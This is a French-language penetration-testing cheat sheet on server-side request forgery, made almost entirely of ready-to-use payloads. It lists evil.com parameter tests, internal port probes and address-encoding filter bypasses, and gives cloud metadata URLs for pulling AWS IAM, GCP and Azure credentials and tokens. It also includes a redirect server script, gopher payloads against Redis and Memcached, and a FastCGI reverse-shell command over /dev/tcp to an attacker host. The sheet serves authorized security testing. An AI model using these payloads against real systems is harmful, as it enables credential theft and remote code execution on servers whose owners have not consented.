---
title: "SSRF — Server-Side Request Forgery"
domain: security
subdomain: pentest
phase: 04-exploitation
type: snippet
tags: [ssrf, web, exploitation, cloud, AWS, metadata, pentest]
difficulty: advanced
status: stable
updated: "2025-05-13"
---
## Identifier une SSRF

```bash
# Paramètres suspects (URL, fichier, import, webhook)
url=http://evil.com
file=http://evil.com
path=http://evil.com
src=http://evil.com
dest=http://evil.com
redirect=http://evil.com
uri=http://evil.com
next=http://evil.com
callback=http://evil.com
image_url=http://evil.com
proxy=http://evil.com

# Tester avec un serveur de rebond (Burp Collaborator, ngrok, interactsh)
url=http://{{LHOST}}.burpcollaborator.net/test
url=http://{{LHOST}}:{{LPORT}}/ssrf-test

# Écouter
python3 -m http.server {{LPORT}}
nc -lvnp {{LPORT}}
```

## Accès aux ressources internes

```bash
# Scan de ports internes via SSRF (Blind SSRF + timing ou réponse)
url=http://127.0.0.1:22
url=http://127.0.0.1:3306
url=http://127.0.0.1:6379   # Redis
url=http://127.0.0.1:8080
url=http://127.0.0.1:9200   # Elasticsearch
url=http://127.0.0.1:2375   # Docker API

# Accès à des endpoints internes
url=http://localhost/admin
url=http://192.168.1.1/
url=http://10.0.0.1:8443/internal/api

# Schémas alternatifs
url=http://0x7f000001/           # 127.0.0.1 en hex
url=http://0177.0.0.1/           # en octal
url=http://2130706433/           # en décimal
url=http://[::1]/                # IPv6 localhost
url=http://localhost.localdomain/
url=http://localtest.me/         # DNS vers 127.0.0.1
```

## Metadata Cloud

### AWS

```bash
# IMDSv1 (pas de token requis)
url=http://169.254.169.254/latest/meta-data/
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
url=http://169.254.169.254/latest/meta-data/iam/security-credentials/{{ROLE_NAME}}

# Réponse avec credentials temporaires AWS :
# AccessKeyId, SecretAccessKey, Token

# Hostname → IP (bypass filtre hostname)
url=http://169.254.169.254/latest/user-data    # scripts cloud-init
url=http://169.254.169.254/latest/meta-data/hostname

# IMDSv2 (token requis — si pas filtré sur SSRF)
# Step 1 : obtenir un token
curl -X PUT "http://169.254.169.254/latest/api/token" \
  -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"

# Step 2 : utiliser le token
curl "http://169.254.169.254/latest/meta-data/" \
  -H "X-aws-ec2-metadata-token: {{TOKEN}}"
```

### GCP

```bash
url=http://metadata.google.internal/computeMetadata/v1/
# Header requis : Metadata-Flavor: Google
url=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
url=http://metadata.google.internal/computeMetadata/v1/project/project-id
```

### Azure

```bash
url=http://169.254.169.254/metadata/instance?api-version=2021-02-01
# Header requis : Metadata: true
url=http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/
```

## Bypass de filtres

```bash
# Bypass whitelist de domaine
url=http://trusted.com@evil.com/
url=http://trusted.com.evil.com/    # sous-domaine evil

# Bypass blacklist 127.0.0.1
url=http://127.1/
url=http://127.0.1/
url=http://0/                       # 0.0.0.0
url=http://[0:0:0:0:0:ffff:127.0.0.1]/  # IPv6 mapped
url=http://spoofed.burpcollaborator.net/ # DNS vers 127.0.0.1

# Redirections (si le serveur suit les redirections)
# Serveur attaquant redirige vers 127.0.0.1
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(301)
        self.send_header('Location', 'http://127.0.0.1:8080/admin')
        self.end_headers()
http.server.HTTPServer(('', {{LPORT}}), H).serve_forever()"

url=http://{{LHOST}}:{{LPORT}}/redirect

# URL encoding
url=http://%31%32%37%2e%30%2e%30%2e%31/   # 127.0.0.1 encodé
url=http://127.0.0.1%2f@evil.com/

# Protocoles alternatifs
url=file:///etc/passwd              # lecture de fichiers
url=gopher://127.0.0.1:6379/_*1%0d%0a...  # Redis via SSRF
url=dict://127.0.0.1:6379/INFO
```

## SSRF vers RCE

```bash
# Redis via SSRF (Gopher protocol)
# Écrire une crontab dans /var/spool/cron/root
gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A...

# Générer le payload Redis SSRF
# Outil : Gopherus
python3 gopherus.py --exploit redis
> ReverseShell
> {{LHOST}}
> {{LPORT}}

# Memcached via SSRF
url=gopher://127.0.0.1:11211/_set ssrf 0 60 8%0d%0ainjected%0d%0a

# FastCGI (PHP-FPM) — RCE si port 9000 accessible
# Gopherus
python3 gopherus.py --exploit fastcgi
> /var/www/html/index.php
> system('bash -i >& /dev/tcp/{{LHOST}}/{{LPORT}} 0>&1');
```

<Tip>
Toujours tester les schémas `file://`, `gopher://`, `dict://` et `ftp://` en plus de `http://`. Sur AWS, récupérer les credentials IAM via l'endpoint IMDS est souvent la meilleure escalade — vérifier les permissions attachées au rôle avec `aws sts get-caller-identity`.
</Tip>
